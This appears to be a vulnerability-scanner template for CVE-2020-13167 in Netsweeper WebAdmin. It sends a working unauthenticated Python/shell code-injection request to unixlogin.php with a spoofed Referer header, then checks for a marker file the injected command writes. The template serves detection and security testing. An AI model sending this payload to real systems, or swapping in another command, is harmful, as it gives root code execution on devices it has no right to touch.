id: CVE-2020-13167

info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
  author: dwisiswant0
  severity: critical
  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
  tags: cve,cve2020,netsweeper,rce
  reference: |
    - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
    - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says

  # This template exploits a Python code injection in the Netsweeper
  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
  # prior, to execute code as the root user.

  # Authentication is bypassed by sending a random whitelisted Referer
  # header in each request.

  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
  # been confirmed exploitable.

requests:
  - method: GET
    path:
      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
      - "{{BaseURL}}/webadmin/out"
    headers:
      Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
      Connection: "close"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nonexistent"
        part: body
      - type: status
        status:
          - 200